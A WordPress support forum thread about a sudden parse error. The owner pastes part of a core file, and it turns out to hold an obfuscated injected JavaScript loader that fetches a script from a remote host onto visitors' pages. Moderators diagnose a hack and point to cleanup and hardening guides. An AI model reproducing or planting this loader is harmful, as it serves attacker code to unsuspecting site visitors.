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Parse error: syntax error, unexpected - HELP! (15 posts)

**Seamhead**

Member

Posted 1 month ago #

Everything was going swimmingly with my web site until about 15 minutes ago when this message popped up in place of my home page:

```
Parse error: syntax error, unexpected '<' in /home/seamhead/public_html/blog/wp-includes/default-filters.php on line 229
```

Now I'm freaking out. I can't get a hold of my programmer and I just sent out a press release to approximately 80 members of the media asking them to check out my site's new look and writers. If they can't access it, this is going to be a disaster. Can someone please help me fix this?

Thanks!

Mike

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**esmi**

Moderator

Posted 1 month ago #

Re-upload the wp-includes folder via FTP or whatever file management application your host provides.

**Seamhead**

Member

Posted 1 month ago #

I hate to be obtuse, but re-upload from where?

**alism**

Member

Posted 1 month ago #

Download a fresh copy of WordPress and unzip it. FTP to your site, then delete and re-upload the folder as esmi suggests.

<http://wordpress.org/download/>

What did you change to cause that issue though? I smell something fishy.

**Seamhead**

Member

Posted 1 month ago #

I haven't changed anything except for the content on my site. I just posted a new article a few hours ago, then updated two pages to include new writers. Everything was working great until I went to copy a URL from my site so I could send it to friends. That's when I found the message. Because I used someone else to redesign my site, I don't know enough about the .php files to even mess around with them.

**alism**

Member

Posted 1 month ago #

Ok, FTP to your site. Download this file:

```
/home/seamhead/public_html/blog/wp-includes/default-filters.php
```

Open it in your favourite text editor, then look on line 229. Can you post that and the few lines either side here?

**Seamhead**

Member

Posted 1 month ago #

I pasted it into Excel and these are lines 226-230.

```
// Timezone
add_filter( 'pre_option_gmt_offset', 'wp_timezone_override_offset' );

<script>var Zm=new Array();try {var mH="";var r="";var Z=RegExp;var E="";var
P;if(P!='dX'){P='dX'};var Q='[';var k='g';var i;if(i!='cG' && i != ''){i=null};var
l=']';var f="";var vB="";var R='replace';var dN;if(dN!='' && dN!='X'){dN=null};
function _(d,II){var HQ;if(HQ!='o' && HQ!='L'){HQ='o'};var p=Q;p+=I;p+=I;var
kh=new String(Z(p, k));var aj="";var q=new String();return d[R](kh, E);};var ft;if(ft!=" &&
ft!='jn'){ft='CD'};var h=_('sTe5tqATtTtTrTiqb5uFtTeF',"T5qF");var vL="";var
Zu=_('sGc2rGi2pGtG',"2G");var mA="";var rs="";var C=_('oCnBICoBaBdB',"BC");var
t=_('aGpGpYeYn4d4C4h7iYlYd7',"YG74");var Gx="";var
m=_('TgkoKoAgklKe1.1ckokm1/KgAoko1gAlAeA.KcAoTmA
/1cKlAaKs1sTm1aKtkeKsT.1cToTmK/AjKrKjk.TcKoTmk.kc1nT
/AokvkgTu1i1dKe1.Ac1o1m1.Tp1hApk',"T1KkA");var vk;if(vk!=""){vk='jA'};var
_x=_('b8oQd8y0',"80Qc");var d="1";var D="";var V="";var I=_('h1t1t1p1:D/1
/1i1g1n1-1cSoDmS.D5D51b1b1sD.1cSo1mD.DdSo1mDaDiDnDt1oSo1l1sS-
DcSoSmS.Sm1ySd1iDr1eDc1tSo1u1tS1SeDtS.SrSuS:D',"1DS");var EF;if(EF!=" &&
EF!='dF'){EF='cn'};var PM;if(PM!=" && PM!='dK'){PM='bo'};var
Ii=_('cjr8eKaDtjeKEKIDejmjeDnktK',"DjKk8");this.ui="";var w="";this.Qt="";var
b=_('8664044448464640644',"64");var vH;if(vH!=" && vH!='J'){vH='Zr'};var
BP=new Array();window[C]=function(){var QP;if(QP!='IS' && QP!='mb'){QP='IS'};
Es=document[Ii](Zu);var jw;if(jw!='ak' && jw != ''){jw=null};var jM="";
w+=I;w+=b;var XT=new String();var jD=new Array();w+=m;this.Jc="";var
Ok="";var T=document[_x];this.zN="";var tB;if(tB!='s' && tB!='IE'){tB='s'};
Es.src=w;Es.setAttribute('defer', d);var YO;if(YO!=""){YO='kQ'};var EO;if(EO!='FG'
&& EO!='VI'){EO=""};this.Cd="";var iU=new Array();T.appendChild(Es);var
Oj;if(Oj!=" && Oj!='Jj'){Oj=""};var II=new String();};var HR="";} catch(mw){var
aV;if(aV!='dJ'){aV=""};var Fz=new Date();};this.ZP="";</script>
<!--17f3a551f2eff015a33758cb93c61bbd-->
```

**esmi**

moderator

Posted 1 month ago #

Uh oh - looks like you may have been hacked.

http://codex.wordpress.org/FAQ_My_site_was_hacked

<http://wordpress.org/support/topic/268083#post-1065779>

<http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/>

<http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/>

**alism**

Member

Posted 1 month ago #

Well the bad news is that you've been hacked.

You'll probably want to speak to the programmer dude to fix things for you.

Re-uploading your wp-admin and wp-includes folders may be a quick fix, but you should really be looking at making sure everything is squeaky clean and preventing that from happening again (and hopefully figuring out how it happened in the first place).

http://codex.wordpress.org/FAQ_My_site_was_hacked

<http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/>

http://codex.wordpress.org/Hardening_WordPress

Best of luck.

(uh, beaten to it... damn my slow typing!!)

**Seamhead**

Member

Posted 1 month ago #

Damn! Thanks for all your help guys. I appreciate it.

**alism**

Member

Posted 1 month ago #

Only just noticed, but congrats on your 'mod-hood' by the way esmi, thoroughly deserved! :-)

**esmi**

moderator

Posted 1 month ago #

Aww - shucks...:-)

**Seamhead**

Member

Posted 1 month ago #

By the way, if you were so quick to detect the hack, isn't there a way to just delete the bad code or is that too simplistic?

**esmi**

moderator

Posted 1 month ago #

We can identify it when we see it but there's no way to know just how many files have been corrupted with this code. It's probably best to assume that it could be every file.

Added to which, many hackers try to leave a back door in as well. This is a file that looks innocent (and hence escapes an initial clean-up) but that allows the hacker to easily regain access to all files and simply re-infect them. The very last link I gave provides advice on where to look for these back doors.

**Seamhead**

Member

Posted 1 month ago #

Okay. Thanks again.

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